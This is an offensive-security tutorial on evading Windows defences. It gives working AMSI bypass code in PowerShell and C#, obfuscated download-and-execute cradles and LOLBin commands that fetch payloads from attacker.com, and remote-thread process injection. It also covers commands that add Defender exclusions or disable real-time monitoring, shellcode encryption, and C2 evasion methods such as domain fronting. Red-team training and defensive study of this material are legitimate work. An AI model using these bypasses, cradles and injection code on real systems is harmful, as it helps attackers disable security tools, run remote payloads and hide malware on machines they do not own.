- Modern defences have multiple detection layers — signature, heuristic, and behavioural — each needs a different bypass technique
- AMSI (Antimalware Scan Interface) is the first obstacle on Windows; bypassing it is often the prerequisite for everything else
- Living-off-the-Land (LOLBins) uses Microsoft-signed tools that defenders can't simply block
- Process injection hides malicious code inside legitimate processes
- The best evasion is behavioural — blend in with normal user/admin activity rather than just avoiding signatures
Prerequisites
- Completed: Memory & Binary Internals (process injection requires understanding memory)
- Completed: Exploitation — you need a payload to evade with
- Windows VM for testing (check your bypasses work before deploying)
Lab: Set up a Windows VM with Defender enabled, no cloud protection. Practice each bypass until it works before combining them. Use antiscan.me (no cloud share) to check detections without submitting to VirusTotal.
Understanding the Detection Stack
Modern Windows has multiple overlapping detection layers:
| Layer | What it does | Bypass approach |
|---|---|---|
| File-based AV | Scans files on disk using signatures + heuristics | Don't write to disk, encrypt on disk |
| AMSI | Scans script/command content in memory at runtime | Patch AMSI in memory, obfuscate strings |
| ETW | Windows event logging at the kernel level | Patch ETW providers (risky) |
| Behavioural EDR | Monitors process behaviour, API calls, network | Mimic legitimate behaviour, indirect syscalls |
| Memory scanning | Scans running process memory for known patterns | Encrypt in-memory, custom loaders |
| Network detection | IDS/IPS on the wire | Encrypt C2, use allowed protocols (HTTPS, DNS) |
Detection technologies evolve faster than bypass techniques become public. A bypass documented publicly will typically be signature-detected within weeks. Focus on understanding the underlying mechanisms, not memorising specific bypasses.
AMSI Bypass
AMSI (Antimalware Scan Interface) is hooked into PowerShell, JScript, VBScript, and the .NET CLR. It passes all executed script content to the registered AV engine before execution.
How AMSI Works
Patching AmsiScanBuffer
# Classic — patch AmsiScanBuffer to always return clean
# This is DETECTED by modern AV. Used as educational baseline.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}
# Better: reflection-based obfuscation
# Split strings to avoid signature
$a = 'Am'+'si'+'Utils'
$b = 'amsi'+'Init'+'Failed'
[Ref].Assembly.GetType("System.Management.Automation.$a") |
%{$_.GetField($b,'NonPublic,Static').SetValue($null,$true)}// C# — patch AmsiScanBuffer via P/Invoke
// Overwrite the beginning of AmsiScanBuffer with a return instruction
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
IntPtr amsiAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
VirtualProtect(amsiAddr, (UIntPtr)sizeof(byte), 0x40, out uint oldProtect); // PAGE_EXECUTE_READWRITE
Marshal.WriteByte(amsiAddr, 0xC3); // RET instruction
VirtualProtect(amsiAddr, (UIntPtr)sizeof(byte), oldProtect, out _);Every specific AMSI bypass published online eventually gets a signature. The technique matters more than the specific bytes. Learn the principle: find a memory location that controls AMSI's behaviour and corrupt it. Vary the approach for each engagement.
PowerShell Obfuscation
Defenders and AMSI look for known PowerShell patterns. Obfuscation breaks the pattern.
# String concatenation
I'E'X (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# Equivalent: Invoke-Expression of a downloaded script
# Backtick escaping
I`E`X (New-Object Net.We`bClient).Dow`nloadString('url')
# Character substitution with -replace
('Invoke-Expression' -replace 'I','I') # Toy example — real obfuscation goes deeper
# Case variation (PowerShell is case-insensitive)
iNvOkE-eXpReSSiOn (New-Object Net.WebClient).DownloadString('url')
# Encoding to Base64
$cmd = 'Write-Host "test"'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd))
# Run with: powershell -EncodedCommand BASE64HERERecommended tool: Invoke-Obfuscation — multiple obfuscation layers applied programmatically.
Living-off-the-Land Binaries (LOLBins)
LOLBins are legitimate, Microsoft-signed binaries that can be abused for malicious purposes. Since they're signed by Microsoft, they're harder to block.
| Binary | Abuse | Example |
|---|---|---|
certutil.exe | Download files, decode base64 | certutil -urlcache -f http://attacker.com/file.exe C:\file.exe |
mshta.exe | Execute HTA applications remotely | mshta http://attacker.com/payload.hta |
wmic.exe | Execute commands, lateral movement | wmic process call create "cmd.exe /c whoami" |
rundll32.exe | Execute DLLs | rundll32 javascript:"\..\mshtml,RunHTMLApplication" |
regsvr32.exe | "Squiblydoo" — remote SCT | regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll |
msiexec.exe | Download+execute MSI | msiexec /q /i http://attacker.com/malicious.msi |
bitsadmin.exe | Background file download | bitsadmin /transfer job /download /priority normal http://attacker.com/file C:\file |
forfiles.exe | Command execution | forfiles /c "cmd /c calc.exe" |
The full, maintained list is at lolbas-project.github.io. Every entry includes the binary, what it does, and example commands. Cross-reference with your target environment's defences.
Payload Delivery Without Touching Disk
Fileless techniques keep your payload entirely in memory.
# Download and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# Alternative download methods
IEX (Invoke-WebRequest -Uri 'http://attacker.com/script.ps1').Content
# .NET webrequest (avoids WebClient hooks)
$wc = [System.Net.WebRequest]::Create('http://attacker.com/payload')
$wc.Method = 'GET'
$resp = $wc.GetResponse()
$stream = $resp.GetResponseStream()
$reader = New-Object IO.StreamReader($stream)
IEX $reader.ReadToEnd()Process Injection
Inject malicious shellcode into a legitimate running process. The malicious code runs in the context of (e.g.) explorer.exe or svchost.exe.
// Classic Remote Thread Injection (C# / P/Invoke)
// Gets detected by behavioural EDR — use indirect syscalls for stealth
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, allocAddr, shellcode, shellcode.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, out _);Process Injection Techniques
| Technique | Description | Detection risk |
|---|---|---|
| Remote Thread | Classic VirtualAllocEx + CreateRemoteThread | High — heavily monitored |
| Process Hollowing | Spawn suspended process, replace memory | Medium — complex but detectable |
| DLL Injection | Write DLL path + LoadLibrary thread | Medium |
| APC Injection | Queue APC to alertable thread | Medium |
| Reflective DLL | Load DLL from memory without LoadLibrary | Low — no disk artifact |
| Process Doppelgänging | NTFS transactions + mapping | Low — complex |
| Indirect Syscalls | Bypass userland hooks by calling syscalls directly | Low |
Bypassing Script Execution Policy
Windows PowerShell Execution Policy is not a security control — it's an administrative guardrail.
# Bypass methods
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ExecutionPolicy Unrestricted
powershell -Command "IEX (Get-Content script.ps1 | Out-String)"
# Encoding
powershell -EncodedCommand BASE64_ENCODED_COMMAND
# Version downgrade (PSv2 has no AMSI, Script Block Logging)
powershell -Version 2 -Command "iex..." # Works only if .NET 2.0 installedDefender / Windows Defender Exclusions
# Check if Defender is running
Get-MpPreference
Get-MpComputerStatus
# Add exclusion (requires admin)
Add-MpPreference -ExclusionPath "C:\Users\Public\Tools"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionProcess "powershell.exe"
# Disable realtime monitoring (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true
# Check current exclusions (potentially find paths already excluded)
(Get-MpPreference).ExclusionPathShellcode Encoding and Encryption
Plain shellcode is easily detected. Encoding/encrypting it hides the pattern until execution.
# Python — XOR encode shellcode
shellcode = b"\xfc\x48\x83\xe4..."
key = 0x42
encoded = bytes([b ^ key for b in shellcode])
# C decoder stub (run this first to decode, then execute)
# The decoder XORs each byte and jumps to result// AES decrypt in memory before injection
using System.Security.Cryptography;
byte[] encryptedShellcode = Convert.FromBase64String("BASE64_CIPHERTEXT");
byte[] key = Encoding.UTF8.GetBytes("YourAESKeyHere!!");
byte[] iv = Encoding.UTF8.GetBytes("YourInitVector!!");
using var aes = new AesManaged();
aes.Key = key; aes.IV = iv;
byte[] shellcode = aes.CreateDecryptor().TransformFinalBlock(encryptedShellcode, 0, encryptedShellcode.Length);
// Then inject shellcode[]C2 Traffic Evasion
C2 (Command and Control) traffic needs to blend in with normal network activity.
| Technique | How | Detection avoidance |
|---|---|---|
| HTTPS beaconing | C2 over TLS to CDN/cloud IP | Encrypted, valid cert |
| Domain fronting | Route through CDN, use legit domain in SNI | Traffic appears to go to CDN |
| DNS C2 | Commands as DNS TXT records | DNS is often unmonitored |
| HTTP malleable profiles | Mimic known software (e.g. Google analytics) | Pattern matches legitimate traffic |
| Jitter + randomised intervals | Vary beacon timing | Avoids regular-interval detection |
Operational Notes
- Test before deploying — always test your bypass on a clean VM with the same defences as the target. A broken bypass mid-engagement is worse than a clean one that works.
- Signature rotation — AMSI bypasses and Mimikatz variants get detected within days of public release. Custom modifications or private implementations are required for sustained access.
- Behavioural detection beats signature detection — if your tool does things that no legitimate software does (e.g., LSASS handle from an Office process), it will get caught regardless of signature avoidance.
- ETW patching is risky — Event Tracing for Windows is used by EDR. Patching it causes system instability and leaves highly anomalous artefacts. Avoid unless necessary.
- Chain bypasses — AMSI bypass + encoding + LOLBin delivery + reflective injection is a chain, not individual techniques. Each layer reduces detection.
What to Read Next
- Post-Exploitation — evasion is most important during the post-exploitation phase when you're running sensitive tools
- Active Directory Exploitation — Mimikatz and Rubeus are flagged by every EDR; evasion is essential for AD attacks
- Forensics — understanding what artefacts evasion leaves (even when successful) makes you a better attacker